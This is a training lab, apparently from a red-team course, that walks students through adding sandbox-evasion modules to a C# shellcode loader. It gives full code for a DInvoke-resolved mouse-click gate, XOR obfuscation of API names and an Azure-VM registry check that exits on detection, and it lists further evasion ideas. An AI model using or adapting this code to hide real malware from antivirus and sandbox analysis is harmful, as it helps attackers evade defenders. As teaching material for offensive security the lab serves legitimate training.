Lab - SandLoader (Sandbox Evasion Module)

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this lab we'll be add 2 additional features to our previous DInvokeLoader:

  1. We'll add a mouse-click sandbox evasion module, to evade basic sandbox solutions that don't simulate user activity.
  2. And we'll also add Azure VM detection (this can easily be modified to check for VMWare, VirtualBox, QEMU, etc). As we are running in Azure VMs for our labs, we won't exit the program if we detect Azure, but in a real-world scenario you might want to exit or change behavior.

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\SandLoader\SandLoader.sln"
                        ├── SandLoader.cs   -> Our main program
                        ├── ShellcodeDecoder.cs
                        ├── StagedLoader.cs
                        ├── RetrieveXORkey.cs
                        ├── AMSIBypass.cs
                        ├── ETWPatch.cs
                        ├── Win32Imports.cs
                        ├── Win32Delegates.cs
                        ├── DelegateHelper.cs
                        ├── AzureDetect.cs   -> class to check if machine is an Azure VM
                        └── Clicks.cs   -> class to check for mouse clicks

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_SandLoader"

LAB SOLUTION: "C:\THEV\Labs\Lab_SandLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.ClicksImplement a class that checks for mouse clicks to simulate user activity.
3.AzureVMImplement a class that checks if machine is an Azure VM.

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image


IMPORTANT: When adding sandbox evasion modules, make sure they do their checks first before execution any other code!

2. Clicks Sandbox Evasion Module

Step 1 : Use DINVOKE for GetAsyncKeyState

If we'd use P/Invoke to call GetAsyncKeyState, it would be easily detected by EDR solutions. Instead, we'll use DInvoke to call this function dynamically at runtime. As shown below, we need to add the GetAsyncKeyState function to our Win32Delegates.cs file.

https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate

image

  • In Visual Studio 2019, open the Win32Delegates.cs file and add the add the below code just below the DRPMemoryDelegate delegate definition.
[System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
public delegate short DGAKStateDelegate(
    int vKey);

image

  • Then add the following line still inside the Win32Delegates class, just below the other Resolved delegate instances:
    public static readonly DGAKStateDelegate DGAKState; // GetAsyncKeyState

image

  • And completely at the bottom of the Win32Delegates.cs file, add the following line to initialize the delegate using DInvoke:
DGAKState = DelegateHelper.GetFunctionDelegate<DGAKStateDelegate>("user32.dll", "GetAsyncKeyState"); // GetAsyncKeyState

image


OPTIONAL: Obfuscate GetAsyncKeyState string (Skip if you don't have enought time)

We're not hiding the string GetAsyncKeyState here, but you can use the same string obfuscation method as used in the RetrieveXORkey.cs file to hide this string if you want to, just like in the DINVOKELoader lab. The steps are the same, use the XORFunctionHasher.exe on the string GetAsyncKeyState (case sensitive!), add the array at the bottom of the other function array, and change "GetAsyncKeyState" to gakstate_string.

Obfuscated array (1):

byte[] enc_gakstate_array = new byte[] { 0x34, 0x10, 0x04, 0x24, 0x01, 0x0a, 0x0b, 0x00, 0x39, 0x00, 0x0d, 0x38, 0x11, 0x18, 0x07, 0x10 }; // GetAsyncKeyState
        byte[] dec_gakstate_array = ShellcodeDecoder.Decode(enc_gakstate_array, xorkey);
        string gakstate_string = Encoding.ASCII.GetString(dec_gakstate_array);
        Console.WriteLine($"[+]    Decrypted String: {gakstate_string}");

Modified line to get delegate (2):

DGAKState = DelegateHelper.GetFunctionDelegate<DGAKStateDelegate>("user32.dll", gakstate_string); // GetAsyncKeyState

The code should now look like this:

image


Step 2: Add Clicks class

NOTE: We can implement a simple mouse-click detection mechanism using the GetAsyncKeyState function from user32.dll. This function allows us to check the state of the mouse buttons, enabling us to detect user activity through mouse clicks. By monitoring for a certain number of clicks, we can determine if the program is running in an interactive environment, which is less likely to be a sandbox. Obviously on a server this will not work, but many sandboxes don't simulate user activity at all (especially automated analysis sandboxes).

  • In visual studio, create a new class file called Clicks.cs by going to the Solution Explorer, right-click on SandLoader -> Add -> Add new class, select C# Class at the top and name the file Clicks.cs.

image

image

  • Delete the dummy code provided by Visual Studio and paste the following code:
using System;
using System.Threading;

public static class Clicks
{
    public static void WaitForClicks(int minClicks = 5)
    {
        Console.WriteLine($"[-] Waiting for 5 clicks... (Left or Right mouse button)");
        int count = 0;
        while (count < minClicks)
        {
            short leftState = (short)Win32Delegates.DGAKState(1);
            short rightState = (short)Win32Delegates.DGAKState(2);

            if ((leftState & 0x0001) != 0)
            {
                count++;
                Sandloader.Payload.WriteColored(($"     [+] Left click detected! (Total: {count}/{minClicks})"), ConsoleColor.Green);
            }

            if ((rightState & 0x0001) != 0)
            {
                count++;
                Sandloader.Payload.WriteColored(($"     [+] Right click detected! (Total: {count}/{minClicks})"), ConsoleColor.Green);
            }
            //Thread.Sleep(100);
        }
        Sandloader.Payload.WriteColored(($"     [+] {minClicks} Clicks detected, continuing..."), ConsoleColor.Green);
    }
}
  • This code uses the GetAsyncKeyState function from user32.dll to check the state of the left and right mouse buttons. It waits until a specified number of clicks (we are using 5) are detected before proceeding.
  • You can adjust the minClicks parameter in the WaitForClicks method to change how many clicks are required before the program continues.

Step 3: Modify main program (SandLoader.cs) to call functions

  • In the SandLoader.cs file, add a call to this new method at the beginning of the Main method, we don't want anything to happen until we have some user activity. Remove the top 2 lines that have the WriteColored and Console.ReadKey() and replace them with the call to the Clicks module:

image

  • Next, still in the SandLoader.cs file, past the following code at the top of the Main method:
            // Sandbox evasion wait for 5 Clicks

            Clicks.WaitForClicks();

image

Step 4: Compile and run the code

Compile and run the code, click the mouse 5 times (left or right button) to continue execution - don't click in the cmd window, click somewhere else on the desktop or in another window.

The compiled binary (sandloader.exe) will be located in the C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release folder.

  • Open a command prompt and run SandLoader.exe:
C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release\SandLoader.exe

image

  • Check SandLoader.exe in PEstudio and CAPA as we did before, you can also run GoCheck again to see if there are any detections.

PEStudio analysis

You will see no imports for GetAsyncKeyState as we are using DInvoke to resolve this at runtime.

image

Strings analysis

If you did the optional string obfuscation step, you should see that the GetAsyncKeyState string is nowhewere to be found in the binary (you can also check in PEStudio under Strings).

  • Open a cmd prompt and run the following command to check for the presence of the GetAsyncKeyState string in the compiled binary:
strings64.exe C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release\sandloader.exe | FINDSTR /c:GetAsyncKeyState /I /R

image

Any.Run sandbox test

https://app.any.run/tasks/9c919e78-6ed2-4efe-839e-2698c802a92c

image

You can view the full report here : https://any.run/report/27b9b11aea884af46fc901df36dcaf3d48377b805a4f49d1b4ffbfb55f1a2e55/9c919e78-6ed2-4efe-839e-2698c802a92c

image


3. Azure Detection Module

We can check if we are running in an Azure VM by checking for the presence of the Azure Windows VM Agent registry key. If this key exists, it indicates that the machine is running in an Azure environment. This is just for demonstration purposes, in a real-world scenario you might want to check for other virtualization platforms as well (VMWare, VirtualBox, QEMU, etc). Since we are running in Azure VMs for our labs, it demonstrates the technique nicely.

image

When we detect an Azure VM environment, we can choose to either exit the program or alter its behavior to avoid detection.

Step 1: Add AzureDetect class

  • In visual studio, create a new class file called AzureDetect.cs by going to the Solution Explorer, right-click on SandLoader -> Add -> Add new class, select C# Class at the top and name the file AzureDetect.cs.

image

image

  • Delete the dummy code provided by Visual Studio and paste the following code:
using Microsoft.Win32;
using System;

public class AzureDetector
{
    /// Checks the Azure Windows VM Agent registry key to detect Azure VM environment
    public static void IsRunningInAzure()
    {
        Console.Write("[-] Checking if machine is running in Azure...\r\n");
        // Check for Azure Windows VM Agent
        using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Azure"))
        {
            if (key != null)
            {
                Sandloader.Payload.WriteColored($"[+]    Azure VM environment detected.", ConsoleColor.DarkYellow);
                Sandloader.Payload.WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
                Console.ReadKey();
                Environment.Exit(0);
            }
            else
            {
                Sandloader.Payload.WriteColored($"[+]    Azure VM environment not detected.", ConsoleColor.DarkYellow);
            }
        }
        Sandloader.Payload.WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
        Console.ReadKey();
    }
}

NOTE: The above code is a good example of using standard C# using .NET Framework/Core libraries, there is no need to use DInvoke here as we are not calling any native Windows API functions directly. The Microsoft.Win32 namespace provides access to the Windows registry, allowing us to check for the presence of specific registry keys.

Step 2: Modify main program (SandLoader.cs) to call functions

  • In the SandLoader.cs file, add a call to this new method right under the Clicks call in the Main method (above the AMSI and ETW bypass calls):
           // Azure detector

            AzureDetector.IsRunningInAzure();

Your code should now look like this:

image

Step 3: Compile and run the code

Compile and run the code, click the mouse 5 times (left or right button) to continue execution - don't click in the cmd window, click somewhere else on the desktop or in another window. After 5 clicks, you should see that the Azure VM environment is detected and the program exits.

The compiled binary (sandloader.exe) will be located in the C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release folder.

  • Open a command prompt and run SandLoader.exe:
C:\THEV\Labs\SandLoader\SandLoader\bin\x64\Release\SandLoader.exe

image

Step 4 : Using Process Monitor to verify registry access

Below you can see Process Monitor (Sysinternals Suite) showing the RegOpenKey operation for the Azure registry key.

Below is the result when running in an Azure VM, it shows the standar dll's being loaded.

image

And then the registry key is accessed, and the process exits as we detected Azure.

image

Step 5 : Run forensics analysis

  • Check SandLoader.exe in PEstudio and CAPA as we did before, you can also run GoCheck again to see if there are any detections.

CAPA analysis

Capa shows the registry access to check for Azure VM environment, but this is fine as this is a legitimate check. Also don't remember that manual forensics analysis is always capabable of finding things that automated tools might miss.

image

BE CREATIVE!

Sandbox evasion is a cat-and-mouse game, and there are many more techniques you can implement to evade detection. Here are some ideas to get you started:

  • Timing Checks: Implement timing checks to detect if the program is running slower than expected, which can indicate a sandbox environment.
  • Process and Service Checks: Check for the presence of known sandbox or analysis tools running as processes or services.
  • File System Checks: Look for specific files or directories that are commonly found in sandbox environments.
  • Network Activity: Monitor network activity to detect if the program is being analyzed in a controlled environment.
  • Hardware Checks: Check for hardware characteristics that are typical of virtual machines, such as limited RAM or CPU cores.
  • CPU Cores Check: Check the number of CPU cores available, as sandboxes often allocate fewer cores.

Just keep in mind that known sandbox evasion techniques are often documented and can be detected by advanced security solutions. The key is to be creative and think outside the box! A sandbox can fake responses (function calls, registry keys, etc), so the more unique and less documented your evasion techniques are, the better.

Conclusion

In this lab, we have successfully implemented a sandbox evasion loader in C#. We covered various techniques to evade detection, including:

  1. Click-based Evasion: We added a module to detect mouse clicks and use them as a form of user interaction to evade automated analysis.
  2. Azure VM Detection: We implemented a check to determine if the code is running in an Azure VM environment, allowing us to modify behavior accordingly.

NOTE: An additional bonus of using DINVOKE with a remotely hosted XOR key is that a sandbox that is not connected to the internet will fail to retrieve the key, causing the loader to fail (as the function names will not be decrypted properly). This adds another layer of evasion against offline sandboxes. If a dummy key is used, the XOR decryption will fail, resulting in invalid function names that won't resolve.

This was our last lab in the Shellcode & Loaders section. In the next section, we'll explore some tricks adversaries can use to make their payloads blend in even more with normal system activity, making detection even harder.